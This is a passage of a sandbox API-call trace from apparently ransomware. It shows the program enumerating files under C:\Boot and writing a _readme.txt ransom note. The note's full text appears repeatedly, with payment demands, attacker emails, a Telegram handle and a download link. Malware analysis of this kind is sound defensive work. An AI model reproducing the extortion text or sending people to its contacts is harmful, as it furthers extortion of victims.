0x3076dc8 [0124.510] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.510] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e9368 [0124.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9368 [0124.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.511] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076dc8 [0124.511] PathFindFileNameW (pszPath="C:\\Boot\\es-ES\\") returned="es-ES\\" [0124.511] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.511] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d78 | out: hHeap=0x5c0000) returned 1 [0124.511] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.511] PathFindFileNameW (pszPath="") returned="" [0124.511] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x768b0000 [0124.512] GetProcAddress (hModule=0x768b0000, lpProcName="SHGetFolderPathW") returned 0x76935708 [0124.512] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x30f90a8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.512] FreeLibrary (hLibModule=0x768b0000) returned 1 [0124.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076dc8 | out: hHeap=0x5c0000) returned 1 [0124.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.512] PathAppendW (in: pszPath="C:\\Boot\\es-ES\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 1 [0124.512] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.512] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.512] PathFileExistsW (pszPath="C:\\Boot\\es-ES\\_readme.txt") returned 0 [0124.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x7d00) returned 0x30fa550 [0124.513] lstrcpyW (in: lpString1=0x30fa550, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg" [0124.513] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfg", lpString2="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-514KtsAKtH\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n109AJsd73yiu3hjdfgu2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf" [0124.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e9bf0 [0124.513] CreateFileW (lpFileName="C:\\Boot\\es-ES\\_readme.txt" (normalized: "c:\\boot\\es-es\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9bf0 | out: hHeap=0x5c0000) returned 1 [0124.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa550 | out: hHeap=0x5c0000) returned 1 [0124.513] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e9368 | out: hHeap=0x5c0000) returned 1 [0124.513] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.514] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0124.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.514] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.514] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.514] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.514] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0124.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e40 | out: hHeap=0x5c0000) returned 1 [0124.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e40 [0124.514] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0124.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.514] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.514] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.515] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.515] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0124.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.516] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.516] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0124.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0124.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.517] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0124.517] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0124.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0124.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076d00 [0124.518] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0124.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0124.518] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076d00 | out: hHeap=0x5c0000) returned 1 [0124.518] RtlAllocateHeap 